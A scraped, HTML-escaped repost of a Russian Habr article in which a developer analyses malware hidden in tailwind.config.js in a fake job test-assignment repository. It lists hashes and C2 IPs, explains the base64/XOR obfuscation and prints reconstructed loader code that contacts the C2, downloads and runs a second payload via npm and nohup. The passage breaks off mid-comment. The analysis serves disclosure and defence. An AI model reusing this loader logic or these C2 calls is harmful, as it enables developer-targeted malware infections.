\u041d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0432\u043e\u0442 \u0445\u044d\u0448\u0438 \u0430\u0440\u0445\u0438\u0432\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u0444\u0430\u0439\u043b\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0430:<\/p>\n<pre><code>Archive SHA256:4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13tailwind.config.js SHA256:b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4deC2:78.142.218.26:124466.235.168.17:1244Paths:~\/.vscode\/f.js~\/.vscode\/package.json<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>P.P.S. \u041f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u0441\u043b\u0443\u0447\u0430\u0435\u043c, \u0445\u043e\u0447\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e, \u0447\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0441 \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u2013 \u044d\u0442\u043e \u0437\u043b\u043e \u0438 \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u043e\u043a <s>\u0446\u0430\u0440\u0441\u043a\u043e\u0433\u043e<\/s> \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u043d\u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0446\u0435\u043d\u0438\u0442\u044c. \u041e\u043d\u0438 \u043e\u0442\u043d\u0438\u043c\u0430\u044e\u0442 \u043d\u0430\u0448\u0435 \u0432\u0440\u0435\u043c\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u044b \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435. \u0422\u043e, \u0447\u0442\u043e \u044f \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u043b\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0435, \u043c\u0435\u043d\u044f \u043d\u0435 \u043a\u0440\u0430\u0441\u0438\u0442. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u044f \u0435\u0433\u043e \u0438 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b. \u0418 \u0447\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u043c\u044b, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438, \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u0442\u0435\u043c \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u044d\u0442\u0430 \u043f\u043e\u0440\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0439\u0434\u0451\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0435. \u0418\u041c\u0425\u041e, \u0431\u043e\u0439\u043a\u043e\u0442 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u2013 \u044d\u0442\u043e \u0431\u043b\u0430\u0433\u043e \u0434\u043b\u044f \u043d\u0430\u0441 \u043a\u0430\u043a \u0434\u043b\u044f \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1033468\/\">https:\/\/habr.com\/ru\/articles\/1033468\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TL;DR:\u0412 GitHub-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043d\u044b\u0439 \u0432 tailwind.config.js. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 Tailwind-\u043a\u043e\u043d\u0444\u0438\u0433, \u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u0431\u044b\u043b\u0430 \u0434\u043b\u0438\u043d\u043d\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f JS-\u0441\u0442\u0440\u043e\u043a\u0430. \u041f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0430 \u043a\u043e\u0434 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u043b fs, os, request, path, node:process \u0438 child_process, \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043b\u0441\u044f \u0441 C2 \u043d\u0430 78.142.218.26:1244 \u0438\u043b\u0438 66.235.168.17:1244, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043b \u0432\u0442\u043e\u0440\u043e\u0439 payload \u0432 ~\/.vscode\/f.js, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b ~\/.vscode\/package.json, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b npm install \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b payload \u0432 \u0444\u043e\u043d\u0435 \u0447\u0435\u0440\u0435\u0437 node\/nohup. \u0418\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u044d\u0442\u043e \u0431\u044b\u043b \u043d\u0435 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u0430 loader\/downloader, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 frontend-\u0437\u0430\u0434\u0430\u043d\u0438\u0435.\u0421\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c\u0412 LinkedIn \u043c\u043d\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043d\u0435\u043a\u0442\u043e, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432\u0448\u0438\u0439\u0441\u044f \u043a\u0430\u043a Renz Andrey Barrion, \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0431\u043e\u0442\u044b. \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0430. \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u043c\u0443\u0442\u0438\u043b\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c: \u00abProject Manager at Bext360\u00bb (\u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e, \u0447\u0442\u043e Bext360 \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u0430 \u043a \u043d\u0438\u0436\u0435\u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c\u0443). \u041f\u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c, \u0447\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u043e\u0434\u0436\u0435\u043a\u0442, \u0430 \u043d\u0435 HR. \u041d\u043e \u0434\u0430 \u043b\u0430\u0434\u043d\u043e, \u043c\u0430\u043b\u043e \u043b\u0438 \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043d\u0430\u0439\u043c\u0430 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c.Renz \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0432 \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f Senior Front End Developer \u043d\u0430 \u043d\u0435\u043f\u043b\u043e\u0445\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u042f \u0441\u043a\u0438\u043d\u0443\u043b \u0440\u0435\u0437\u044e\u043c\u0435, \u043e\u043d \u0440\u0430\u0441\u0441\u043f\u0440\u043e\u0441\u0438\u043b \u043e\u0431 \u043e\u043f\u044b\u0442\u0435, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430\u0439\u043c\u0430 \u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u043f\u0440\u043e\u0439\u0442\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0435, \u0441 \u0447\u0435\u043c \u044f \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u043b\u0441\u044f \u2013 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0440\u0435\u043d\u0435\u0441\u0441\u0430\u043d\u0441 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445. \u0420\u0435\u043d\u0446 \u0441\u043a\u0438\u043d\u0443\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 https:\/\/github.com\/Stash-Home\/Home-assignment-u (\u0442\u043e\u0436\u0435 \u0443\u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0430).\u041f\u0440\u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0438 \u044f \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0440 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u2013 \u0431\u043e\u043b\u044c\u0448\u0435 5 \u043c\u0435\u0433\u0430\u0431\u0430\u0439\u0442, \u0447\u0442\u043e \u043a\u0430\u043a \u0431\u044b \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0434\u043b\u044f \u0440\u0435\u043f\u044b \u0441 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c (\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043d\u043e \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0434\u0438\u0432\u0438\u043b\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043e\u0440\u043a\u043e\u0432: \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0444\u043e\u0440\u043a\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u0430\u043c\u0438. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043e\u0440\u043a\u043e\u0432 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432.\u041d\u0430\u0447\u0430\u043b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0432\u043e\u0442 \u0447\u0442\u043e.\u041d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u0435 tailwind.config.js \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u0432 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430:const a0ag=a0a1,a0ah=a0a1,&#8230;\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435?\u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0431\u044b\u043b \u043c\u0430\u0441\u0441\u0438\u0432 base64-\u0441\u0442\u0440\u043e\u043a:function a0a0() {  const bm = [&#8216;AM9PBG&#8217;,&#8217;ywnisNy&#8217;,&#8217;wgDkCKO&#8217;, &#8230;]  &#8230;}\u0414\u0430\u043b\u0435\u0435 \u043c\u0430\u0441\u0441\u0438\u0432 \u0446\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0434\u0432\u0438\u0433\u0430\u043b\u0441\u044f \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 parseInt(&#8230;) \u043d\u0435 \u0434\u0430\u0441\u0442 \u043d\u0443\u0436\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e:(function(a0,a1){  const a2 = a0();  while (!![]) {    try {      const a3 = &#8230;;      if (a3 === a1) break;      else a2.push(a2.shift());    } catch {      a2.push(a2.shift());    }  }}(a0a0, 0x7e0c4));\u0426\u0435\u043b\u044c \u044d\u0442\u043e\u0433\u043e \u2013 \u0437\u0430\u043f\u0443\u0442\u0430\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u0438 \u0441\u0442\u0440\u043e\u043a.\u0417\u0430\u0442\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f a0a1(&#8230;) \u0434\u043e\u0441\u0442\u0430\u0451\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438\u0437 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0435\u0451, \u0447\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:function decodeFromStringTable(index) {  const shiftedIndex = index &#8212; 0x113;  const encoded = stringTable[shiftedIndex];    return base64DecodeURIComponent(encoded);}\u0418 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:a0a1(0x137) =&gt; &#171;utf8&#8243;a0a1(0x182) =&gt; &#171;base6&#8243;a0a1(0x171) =&gt; &#171;from&#187;a0a1(0x125) =&gt; &#171;toStr&#187;a0a1(0x126) =&gt; &#171;ing&#187;\u0418 \u043f\u043e\u0442\u043e\u043c \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u044d\u0442\u043e:Buffer.from(&#8230;, &#8216;base64&#8217;).toString(&#8216;utf8&#8217;)\u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u0434\u0435\u043a\u043e\u0434\u0435\u0440 \u043e\u0442\u0440\u0435\u0437\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u0430 \u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u043a\u0430\u043a base64:function n(value) {  const withoutFirstChar = value.slice(1);  return Buffer.from(withoutFirstChar, &#8216;base64&#8217;).toString(&#8216;utf8&#8217;);}\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:n(&#8216;ab3M&#8217;) =&gt; &#8216;os&#8217;n(&#8216;bZnM&#8217;) =&gt; &#8216;fs&#8217;n(&#8216;DcmVxdWVzdA&#8217;) =&gt; &#8216;request&#8217;n(&#8216;NcGF0aA&#8217;) =&gt; &#8216;path&#8217;n(&#8216;Xbm9kZTpwc&#8230;&#8217;) =&gt; &#8216;node:process&#8217;n(&#8216;4Y2hpbGRf&#8217;) + n(&#8216;acHJvY2Vzcw&#8217;) =&gt; &#8216;child_process&#8217;\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u044b \u043a\u0430\u043a \u043c\u0430\u0441\u0441\u0438\u0432\u044b \u0447\u0438\u0441\u0435\u043b \u0438 \u043a \u043d\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f XOR \u0441 \u043a\u043b\u044e\u0447\u043e\u043c:const S = [0x70, 0xa0, 0x89, 0x48];function U(arr) {  let result = &#187;;  for (let i = 0; i &lt; arr.length; i++) {    result += String.fromCharCode((arr[i] ^ S[i &amp; 3]) &amp; 0xff);  }  return result;}\u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438:U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) =&gt; &#171;.vscode&#187;U([0x16,0x8e,0xe3,0x3b])                 =&gt; &#171;f.js&#187;U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])  =&gt; &#171;package.json&#187;U([0x5f,0xc6,0xa6]) =&gt; &#171;\/f\/&#187;U([0x5f,0xd0])      =&gt; &#171;\/p&#187;U([0x13,0xc4]) =&gt; &#171;cd&#187;U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])  =&gt; &#171;&amp;&amp; npm i &#8212;silent&#187;U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])  =&gt; &#171;npm &#8212;prefix&#187;U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])  =&gt; &#171;node_modules&#187;U([0x1e,0xcf,0xe1,0x3d,0x0]) =&gt; &#171;nohup&#187;\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:const os = require(&#8216;os&#8217;);const fs = require(&#8216;fs&#8217;);const request = require(&#8216;request&#8217;);const path = require(&#8216;path&#8217;);const process = require(&#8216;node:process&#8217;);const child_process = require(&#8216;child_process&#8217;);const homeDir = os.homedir();const hostname = os.hostname();const platform = os.platform();const userInfo = os.userInfo();const primaryC2 = &#8216;http:\/\/78.142.218.26:1244&#8217;;const fallbackC2 = &#8216;http:\/\/66.235.168.17:1244&#8217;;const campaignId = &#8216;90284f6b7643&#8217;;\u0423\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u044b\u0439 \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430\u042d\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u0430\u044f \u0440\u0435\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 (C2 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u044d\u0442\u043e &#171;Command and Control&#187;, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f):\/** * Entry point \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. * * \u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 timestamp \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f \u0441\u0432\u044f\u0437\u0438 * \u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. * * \u0412 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 * `tailwind.config.js`, \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f dev\/build \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. * * \u041f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435: * 1. \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430. * 2. \u041f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c\u0441\u044f \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c C2-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. * 3. \u041f\u0440\u0438 \u043e\u0448\u0438\u0431\u043a\u0435 \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 fallback-\u043b\u043e\u0433\u0438\u043a\u0430. * * @returns {void} *\/function main() {  timestamp = Date.now().toString();  tryHandshake(0);}\/** * \u041f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 handshake \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 `\/s\/&lt;campaignId&gt;`. * \u041f\u0435\u0440\u0432\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u0438\u0434\u0451\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. \u0415\u0441\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, * \u043a\u043e\u0434 \u043f\u0440\u043e\u0431\u0443\u0435\u0442 fallback. * * \u042d\u0442\u043e\u0442 \u044d\u0442\u0430\u043f \u043d\u0443\u0436\u0435\u043d \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 * \u0438 \u0442\u0438\u043f payload, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c. * * @param {number} index * \u0418\u043d\u0434\u0435\u043a\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435. * `0` \u2014 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. * `1` \u2014 fallback-\u0441\u0435\u0440\u0432\u0435\u0440. * * @returns {void} *\/function tryHandshake(index) {  const url = `${C2[index]}\/s\/${campaignId}`;  request.get(url, (error, response, body) =&gt; {    if (error) {      if (index &lt; 1) {        tryHandshake(1);      }      return;    }    if (!parseServerResponse(body)) {      return;    }    reportHost();    downloadAndRunPayload();  });}\/** * \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 C2-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u0441\u043b\u0435 handshake-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. * * \u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0436\u0438\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043c\u0430\u0440\u043a\u0435\u0440\u0430 `ZT3`. * \u0412\u0441\u0451, \u0447\u0442\u043e \u0438\u0434\u0451\u0442 \u043f\u043e\u0441\u043b\u0435 `ZT3`, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 base64. * * \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 